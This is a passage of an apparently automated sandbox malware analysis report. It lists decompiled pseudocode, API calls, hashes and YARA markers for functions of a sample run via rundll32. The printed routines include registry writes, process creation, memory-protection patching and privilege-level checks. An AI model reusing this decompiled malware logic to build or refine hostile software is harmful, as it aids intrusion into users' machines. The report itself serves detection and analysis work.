                          • InternetSetStatusCallback.WININET(?,00000000), ref: 04C742A2
                          • InternetCloseHandle.WININET(?), ref: 04C742A7
                          • InternetSetStatusCallback.WININET(?,00000000), ref: 04C742B2
                          • InternetCloseHandle.WININET(?), ref: 04C742B7
                          • InternetSetStatusCallback.WININET(?,00000000), ref: 04C742C2
                          • InternetCloseHandle.WININET(?), ref: 04C742C7
                          • FindCloseChangeNotification.KERNEL32(?,00000000,00000102,?,?,04C73801,?,?,761F81D0,00000000,00000000), ref: 04C742D7
                          • CloseHandle.KERNEL32(?,00000000,00000102,?,?,04C73801,?,?,761F81D0,00000000,00000000), ref: 04C742E1
                            • Part of subcall function 04C76E40: WaitForMultipleObjects.KERNEL32(00000002,04C77BB5,00000000,04C77BB5,?,?,?,04C77BB5,0000EA60), ref: 04C76E5B
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Internet$Close$Handle$CallbackStatus$ChangeFindMultipleNotificationObjectsWait
                          • String ID:
                          • API String ID: 2172891992-0
                          • Opcode ID: 9361adf977e3d80d9806e7ab2c0d6499f8896c403106540522a1835b77d03ae2
                          • Instruction ID: c1c6707785730fb6143f3bb822387dc95c4bfeea27b7eb43320310ea28c3a804
                          • Opcode Fuzzy Hash: 9361adf977e3d80d9806e7ab2c0d6499f8896c403106540522a1835b77d03ae2
                          • Instruction Fuzzy Hash: 03112B7A600A489BC630AFBAEC84C2BBBEFFF453143650D19F546D3910C735F9548A68
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC3959 Relevance: 10.7, APIs: 7, Instructions: 185registrysynchronizationprocessCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          • Executed
                          • Not Executed
                          control_flow_graph 401 4cc3959-4cc3991 call 4ccbad1 404 4cc39f5-4cc3a0a WaitForSingleObject 401->404 405 4cc3993 401->405 406 4cc3af4-4cc3b2d RtlExitUserThread 404->406 407 4cc3a10-4cc3a1e 404->407 408 4cc3996-4cc39ab call 4cca651 405->408 409 4cc3b2f-4cc3b3b 406->409 410 4cc3b40-4cc3b67 CreateProcessA 406->410 411 4cc3a24-4cc3a45 RegOpenKeyA 407->411 412 4cc3ab0-4cc3ac3 call 4cc3829 407->412 424 4cc39dc-4cc39f3 call 4cce803 408->424 425 4cc39ad-4cc39c4 408->425 409->410 429 4cc3b3d 409->429 416 4cc3b69-4cc3b6f call 4cc5d7a 410->416 417 4cc3b74-4cc3b76 410->417 414 4cc3a6f-4cc3a72 411->414 415 4cc3a47-4cc3a69 RegSetValueExA RegCloseKey 411->415 412->406 432 4cc3ac5-4cc3ad4 WaitForSingleObject 412->432 421 4cc3a79-4cc3aad call 4cce778 414->421 422 4cc3a74-4cc3a77 414->422 415->414 416->417 426 4cc3b7e-4cc3b8c 417->426 427 4cc3b78-4cc3b79 call 4cce803 417->427 421->412 422->412 422->421 424->404 424->408 425->424 438 4cc39c6-4cc39d7 call 4cbf39b 425->438 427->426 429->410 432->406 437 4cc3ad6-4cc3af1 call 4ccd30a 432->437 437->406 438->424
                          APIs
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?,00000000,00000001,?,00000250,?,00000000), ref: 04CCBB1D
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?,?,00000000), ref: 04CCBB29
                            • Part of subcall function 04CCBAD1: memset.NTDLL ref: 04CCBB71
                            • Part of subcall function 04CCBAD1: FindFirstFileW.KERNEL32(00000000,00000000), ref: 04CCBB8C
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(0000002C), ref: 04CCBBC4
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?), ref: 04CCBBCC
                            • Part of subcall function 04CCBAD1: memset.NTDLL ref: 04CCBBEF
                            • Part of subcall function 04CCBAD1: wcscpy.NTDLL ref: 04CCBC01
                          • WaitForSingleObject.KERNEL32(00000000,?,060D9998,?,00000000,00000000,00000001), ref: 04CC3A03
                          • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 04CC3A3D
                          • RegSetValueExA.ADVAPI32(?,?,00000000,00000004,00000000,00000004), ref: 04CC3A60
                          • RegCloseKey.ADVAPI32(?), ref: 04CC3A69
                          • WaitForSingleObject.KERNEL32(00000000), ref: 04CC3ACD
                          • RtlExitUserThread.NTDLL(?), ref: 04CC3B03
                            • Part of subcall function 04CCA651: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,761B6920,00000000,?,?,?,04CB148A,?,?,?), ref: 04CCA66F
                            • Part of subcall function 04CCA651: GetFileSize.KERNEL32(00000000,00000000,?,?,04CB148A,?,?,?), ref: 04CCA67F
                            • Part of subcall function 04CCA651: CloseHandle.KERNEL32(000000FF,?,?,04CB148A,?,?,?), ref: 04CCA6E1
                          • CreateProcessA.KERNEL32(?,?,?,7620F750,?,?,?,?,?,?,?,?,7620F750), ref: 04CC3B5C
                            • Part of subcall function 04CBF39B: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000,?,?,00000000,00001000), ref: 04CBF3DB
                            • Part of subcall function 04CBF39B: GetLastError.KERNEL32 ref: 04CBF3E5
                            • Part of subcall function 04CBF39B: WaitForSingleObject.KERNEL32(000000C8), ref: 04CBF40A
                            • Part of subcall function 04CBF39B: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 04CBF42D
                            • Part of subcall function 04CBF39B: SetFilePointer.KERNEL32(00001000,00000000,00000000,00000002), ref: 04CBF455
                            • Part of subcall function 04CBF39B: WriteFile.KERNEL32(00001000,00001388,?,?,00000000), ref: 04CBF46A
                            • Part of subcall function 04CBF39B: SetEndOfFile.KERNEL32(00001000), ref: 04CBF477
                            • Part of subcall function 04CBF39B: CloseHandle.KERNEL32(00001000), ref: 04CBF48F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: File$Createlstrlen$CloseObjectSingleWait$Handlememset$ErrorExitFindFirstLastOpenPointerProcessSizeThreadUserValueWritewcscpy
                          • String ID:
                          • API String ID: 3876914104-0
                          • Opcode ID: 572d8d44bd81a684fb44032085acd41c01bcc1134434e11f193892c32faad96b
                          • Instruction ID: d20127756f88801730f79cd19a5a75aa00a3f94448dde03786f597ae0f19d58d
                          • Opcode Fuzzy Hash: 572d8d44bd81a684fb44032085acd41c01bcc1134434e11f193892c32faad96b
                          • Instruction Fuzzy Hash: 5A614E79A01209BFDB11DFA5DC85EAA77BAEB08314F018129FA1897260D735EE11CB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB8C35 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120memoryCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          APIs
                            • Part of subcall function 04CB33A5: VirtualProtect.KERNEL32(?,?,00000040,?,?,?,00000000), ref: 04CB33CA
                            • Part of subcall function 04CB33A5: GetLastError.KERNEL32(?,00000000), ref: 04CB33D2
                            • Part of subcall function 04CB33A5: VirtualQuery.KERNEL32(?,?,0000001C,?,00000000), ref: 04CB33E9
                            • Part of subcall function 04CB33A5: VirtualProtect.KERNEL32(?,?,-2C9B417C,?,?,00000000), ref: 04CB340E
                          • GetLastError.KERNEL32(00000000,00000004,?,?,80000000,00000000,00000001,04CD60B0,0000001C,04CCBE61,00000002,?,00000001,80000000,04CD9A20,80000000), ref: 04CB8D90
                            • Part of subcall function 04CBA253: lstrlen.KERNEL32(?,?), ref: 04CBA28B
                            • Part of subcall function 04CBA253: lstrcpy.KERNEL32(00000000,?), ref: 04CBA2A2
                            • Part of subcall function 04CBA253: StrChrA.SHLWAPI(00000000,0000002E), ref: 04CBA2AB
                            • Part of subcall function 04CBA253: GetModuleHandleA.KERNEL32(00000000), ref: 04CBA2C9
                          • VirtualProtect.KERNEL32(00000000,00000005,00000040,00000040,00000000,00000005,?,?,?,?,?,00000000,00000004,?,?,80000000), ref: 04CB8D0D
                          • VirtualProtect.KERNEL32(?,00000004,?,?,?,?,00000000,00000004,?,?,80000000,00000000,00000001,04CD60B0,0000001C,04CCBE61), ref: 04CB8D28
                          • RtlEnterCriticalSection.NTDLL(04CDA400), ref: 04CB8D4D
                          • RtlLeaveCriticalSection.NTDLL(04CDA400), ref: 04CB8D6B
                            • Part of subcall function 04CB33A5: SetLastError.KERNEL32(80000000,?,00000000), ref: 04CB3417
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Virtual$Protect$ErrorLast$CriticalSection$EnterHandleLeaveModuleQuerylstrcpylstrlen
                          • String ID:
                          • API String ID: 899430048-3916222277
                          • Opcode ID: 2a1894acf52847be15b5298e14a9e53cac8a1c31bd11ef92f0a90a6d6537f47b
                          • Instruction ID: f6a685fb383cb32f93f5954f70fcb10aae3d6ca4e6c722e2577358aeeb60d906
                          • Opcode Fuzzy Hash: 2a1894acf52847be15b5298e14a9e53cac8a1c31bd11ef92f0a90a6d6537f47b
                          • Instruction Fuzzy Hash: 62415D7590061AEFDB10EF69C844ADDBBBAFF08710F14811AE955A7250D774EA50CFE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC55E4 Relevance: 10.6, APIs: 7, Instructions: 110memorystringCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          • Executed
                          • Not Executed
                          control_flow_graph 511 4cc55e4-4cc5623 call 4cc61ae VirtualAlloc 514 4cc5629-4cc5634 call 4cc61ae 511->514 515 4cc56f4 511->515 518 4cc5639-4cc563f 514->518 517 4cc56fc-4cc56fe 515->517 519 4cc570e-4cc5719 517->519 520 4cc5700-4cc5708 VirtualFree 517->520 521 4cc5667-4cc5669 518->521 522 4cc5641-4cc5645 518->522 520->519 521->515 524 4cc566f-4cc5673 521->524 522->521 523 4cc5647-4cc5665 VirtualFree VirtualAlloc 522->523 523->514 523->521 524->515 525 4cc5675-4cc5680 524->525 525->517 526 4cc5682 525->526 527 4cc5688-4cc5695 526->527 528 4cc5697-4cc56a0 lstrcmpi 527->528 529 4cc56d1-4cc56eb 527->529 528->529 530 4cc56a2-4cc56ad StrChrA 528->530 529->517 531 4cc56ed-4cc56f2 529->531 532 4cc56bd-4cc56cd 530->532 533 4cc56af-4cc56bb lstrcmpi 530->533 531->517 532->527 534 4cc56cf 532->534 533->529 533->532 534->517
                          APIs
                            • Part of subcall function 04CC61AE: GetProcAddress.KERNEL32(?,00000318), ref: 04CC61D3
                            • Part of subcall function 04CC61AE: NtWow64QueryInformationProcess64.NTDLL(00000000,00000000,?,00000030,00000000), ref: 04CC61EF
                          • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04CC561D
                          • VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04CC5708
                            • Part of subcall function 04CC61AE: StrRChrA.SHLWAPI(00000018,00000000,0000005C,00000000,00000318,?,00000000,00000068,00000098,00000000,00000028,00000040,00000000,00000000,00000028,00000100), ref: 04CC6359
                          • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,?,?), ref: 04CC5653
                          • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04CC565F
                          • lstrcmpi.KERNEL32(?,00000000), ref: 04CC569C
                          • StrChrA.SHLWAPI(?,0000002E), ref: 04CC56A5
                          • lstrcmpi.KERNEL32(?,00000000), ref: 04CC56B7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Virtual$AllocFreelstrcmpi$AddressInformationProcProcess64QueryWow64
                          • String ID:
                          • API String ID: 3901270786-0
                          • Opcode ID: ef1f1329537993ba8ea9816719ab4fb130b749c0fbf456c9cb76f8f5e24c6621
                          • Instruction ID: b3c1250ca39399024067f45a0a10a8881d0cbe0fb2bd9f668cf6d35c8432fee5
                          • Opcode Fuzzy Hash: ef1f1329537993ba8ea9816719ab4fb130b749c0fbf456c9cb76f8f5e24c6621
                          • Instruction Fuzzy Hash: 3D316F71505321BBE3218F11CC44B2BBBE9FF84795F100A1CF98466280D775F944CBAA
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7402A Relevance: 10.6, APIs: 7, Instructions: 109librarymemoryloaderCOMMON
                          Download Yara Rule
                          C-Code - Quality: 73%
                          			E04C7402A(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E04C744DE(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16); // executed
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E04C77A1E( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x4c7a300 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x4c7a348; // 0x5cd5a8
					_t18 = _t47 + 0x4c7b3f3; // 0x73797325
					_t68 = E04C77326(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x4c7a348; // 0x5cd5a8
						_t19 = _t50 + 0x4c7b73f; // 0x5248ce7
						_t20 = _t50 + 0x4c7b0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E04C723AA();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0); // executed
							_push(1);
							E04C723AA();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								FindCloseChangeNotification(_v28); // executed
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x4c7a2d8, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E04C76C2C(_t70);
				goto L12;
			}


















                          0x04c74032
                          0x04c74032
                          0x04c74041
                          0x04c74048
                          0x04c7404d
                          0x04c7415a
                          0x04c74161
                          0x04c74161
                          0x04c7405c
                          0x04c74064
                          0x04c74067
                          0x04c7406c
                          0x04c74081
                          0x04c74087
                          0x04c74088
                          0x04c7408b
                          0x04c74091
                          0x04c74094
                          0x04c74099
                          0x04c740a1
                          0x04c740ad
                          0x04c740b1
                          0x04c74141
                          0x04c740b7
                          0x04c740b7
                          0x04c740bc
                          0x04c740c3
                          0x04c740d7
                          0x04c740db
                          0x04c7412a
                          0x04c740dd
                          0x04c740de
                          0x04c740e5
                          0x04c740fe
                          0x04c74100
                          0x04c74104
                          0x04c7410b
                          0x04c74125
                          0x04c7410d
                          0x04c74116
                          0x04c7411b
                          0x04c7411b
                          0x04c7410b
                          0x04c74139
                          0x04c74139
                          0x04c740b1
                          0x04c74148
                          0x04c74151
                          0x04c74155
                          0x00000000

                          APIs
                            • Part of subcall function 04C744DE: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04C74046,?,?,?,?,00000000,00000000), ref: 04C74503
                            • Part of subcall function 04C744DE: GetProcAddress.KERNEL32(00000000,7243775A), ref: 04C74525
                            • Part of subcall function 04C744DE: GetProcAddress.KERNEL32(00000000,614D775A), ref: 04C7453B
                            • Part of subcall function 04C744DE: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04C74551
                            • Part of subcall function 04C744DE: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04C74567
                            • Part of subcall function 04C744DE: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04C7457D
                          • memset.NTDLL ref: 04C74094
                            • Part of subcall function 04C77326: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,04C740AD,73797325), ref: 04C77337
                            • Part of subcall function 04C77326: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 04C77351
                          • GetModuleHandleA.KERNEL32(4E52454B,05248CE7,73797325), ref: 04C740CA
                          • GetProcAddress.KERNEL32(00000000), ref: 04C740D1
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04C74139
                            • Part of subcall function 04C723AA: GetProcAddress.KERNEL32(36776F57,04C77989), ref: 04C723C5
                          • FindCloseChangeNotification.KERNEL32(00000000,00000001), ref: 04C74116
                          • CloseHandle.KERNEL32(?), ref: 04C7411B
                          • GetLastError.KERNEL32(00000001), ref: 04C7411F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ChangeErrorFindFreeHeapLastNotificationmemset
                          • String ID:
                          • API String ID: 186216982-0
                          • Opcode ID: 867764bd07ccf3eeb73e94c743ae2a85d0d737fce12626a9547e16adaa91c34e
                          • Instruction ID: 60287b549cdd8b76287db737b69c3e4957d40869b6b613ce3b977ae367f03423
                          • Opcode Fuzzy Hash: 867764bd07ccf3eeb73e94c743ae2a85d0d737fce12626a9547e16adaa91c34e
                          • Instruction Fuzzy Hash: CF3172BA900218FFEB10AFA4DC88E9EBBBDFF08344F104465E616A7110D735AE44DB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB12E7 Relevance: 10.6, APIs: 7, Instructions: 84sleepthreadCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB73EB: memset.NTDLL ref: 04CB73F5
                          • OpenEventA.KERNEL32(00000002,00000000,00000000,00000000,?,04CBE2A4,?,?,?,?,?,?,?,04CB9100,?), ref: 04CB1381
                          • SetEvent.KERNEL32(00000000,?,04CBE2A4,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CB138E
                          • Sleep.KERNEL32(00000BB8,?,04CBE2A4,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CB1399
                          • ResetEvent.KERNEL32(00000000,?,04CBE2A4,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CB13A0
                          • CloseHandle.KERNEL32(00000000,?,04CBE2A4,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CB13A7
                          • GetShellWindow.USER32 ref: 04CB13B2
                          • GetWindowThreadProcessId.USER32(00000000), ref: 04CB13B9
                            • Part of subcall function 04CCB1DC: RegCloseKey.ADVAPI32(04CBE2A4), ref: 04CCB25F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Event$CloseWindow$HandleOpenProcessResetShellSleepThreadmemset
                          • String ID:
                          • API String ID: 53838381-0
                          • Opcode ID: f2edd3e7cd933803c2d2bba9bdc701d0b2c19d27d4e179cb5e9976da2f5e50f6
                          • Instruction ID: 44243844d3ec6ad2df9572eaf1267ba6fc7862b99cdbf059a640d08b5cc55b4b
                          • Opcode Fuzzy Hash: f2edd3e7cd933803c2d2bba9bdc701d0b2c19d27d4e179cb5e9976da2f5e50f6
                          • Instruction Fuzzy Hash: 6D21567E202214BFD2116A67AC58FAF77ABEBC9754F184004F58997540EB39BC01D7A1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C76C41 Relevance: 10.6, APIs: 7, Instructions: 75COMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C76C41(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x4c7a2fc > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E04C76D63(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E04C76C2C(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}









                          0x04c76c4e
                          0x04c76c55
                          0x04c76c5c
                          0x04c76c70
                          0x04c76c7b
                          0x04c76c93
                          0x04c76ca0
                          0x04c76ca3
                          0x04c76ca8
                          0x04c76cb3
                          0x04c76cb7
                          0x04c76cc6
                          0x04c76cca
                          0x04c76ce6
                          0x04c76ce6
                          0x04c76cea
                          0x04c76cea
                          0x04c76cef
                          0x04c76cf3
                          0x04c76cf9
                          0x04c76cfa
                          0x04c76d01
                          0x04c76d07

                          APIs
                          • OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 04C76C73
                          • GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 04C76C93
                          • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 04C76CA3
                          • CloseHandle.KERNEL32(00000000), ref: 04C76CF3
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 04C76CC6
                          • GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 04C76CCE
                          • GetSidSubAuthority.ADVAPI32(00000000,?), ref: 04C76CDE
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
                          • String ID:
                          • API String ID: 1295030180-0
                          • Opcode ID: 70653ab9041702c03658dff784cb898421f9fb1784743cf417423e184f4ef724
                          • Instruction ID: 4c4a7da7d6ba94c78568aa9b65b024610400391267e47c3d76768d75b8009cf1
                          • Opcode Fuzzy Hash: 70653ab9041702c03658dff784cb898421f9fb1784743cf417423e184f4ef724
                          • Instruction Fuzzy Hash: 20212879A00209FFEB109F94DD84EEEBFBAFB08314F1004A5E911A6160D7769F44EB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C71D33 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68stringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 64%
                          			E04C71D33(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x4c7a348; // 0x5cd5a8
				_t1 = _t9 + 0x4c7b624; // 0x253d7325
				_t36 = 0;
				_t28 = E04C7624E(__ecx, _t1);
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
					_v8 = _t13;
					_t6 =  *_t39(_a4) + 1; // 0x52495b1
					_t40 = E04C76D63(_v8 + _t6);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E04C724B3(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E04C76C2C(_t40);
						_t42 = E04C75A07(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E04C76C2C(_t36);
							_t36 = _t42;
						}
						_t43 = E04C74162(_t36, _t33);
						if(_t43 != 0) {
							E04C76C2C(_t36);
							_t36 = _t43;
						}
					}
					E04C76C2C(_t28);
				}
				return _t36;
			}
















                          0x04c71d33
                          0x04c71d36
                          0x04c71d37
                          0x04c71d3e
                          0x04c71d45
                          0x04c71d4c
                          0x04c71d50
                          0x04c71d57
                          0x04c71d5e
                          0x04c71d63
                          0x04c71d6b
                          0x04c71d75
                          0x04c71d79
                          0x04c71d7d
                          0x04c71d83
                          0x04c71d88
                          0x04c71d92
                          0x04c71d98
                          0x04c71d9a
                          0x04c71db1
                          0x04c71db5
                          0x04c71db8
                          0x04c71dbd
                          0x04c71dbd
                          0x04c71dc6
                          0x04c71dca
                          0x04c71dcd
                          0x04c71dd2
                          0x04c71dd2
                          0x04c71dca
                          0x04c71dd5
                          0x04c71dda
                          0x04c71de0

                          APIs
                            • Part of subcall function 04C7624E: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04C71D4C,253D7325,00000000,00000000,?,746BC740,04C758D7), ref: 04C762B5
                            • Part of subcall function 04C7624E: sprintf.NTDLL ref: 04C762D6
                          • lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,746BC740,04C758D7,00000000,052495B0), ref: 04C71D5E
                          • lstrlen.KERNEL32(00000000,?,746BC740,04C758D7,00000000,052495B0), ref: 04C71D66
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • strcpy.NTDLL ref: 04C71D7D
                          • lstrcat.KERNEL32(00000000,00000000), ref: 04C71D88
                            • Part of subcall function 04C724B3: lstrlen.KERNEL32(00000000,00000000,04C758D7,00000000,?,04C71D97,00000000,04C758D7,?,746BC740,04C758D7,00000000,052495B0), ref: 04C724C4
                            • Part of subcall function 04C76C2C: RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          • StrTrimA.SHLWAPI(00000000,=,00000000,00000000,04C758D7,?,746BC740,04C758D7,00000000,052495B0), ref: 04C71DA5
                            • Part of subcall function 04C75A07: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,04C71DB1,00000000,?,746BC740,04C758D7,00000000,052495B0), ref: 04C75A11
                            • Part of subcall function 04C75A07: _snprintf.NTDLL ref: 04C75A6F
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
                          • String ID: =
                          • API String ID: 2864389247-1428090586
                          • Opcode ID: e454ec0175557bdb3a3522d8f064ba23c3254cfc86e557d50722712eace70492
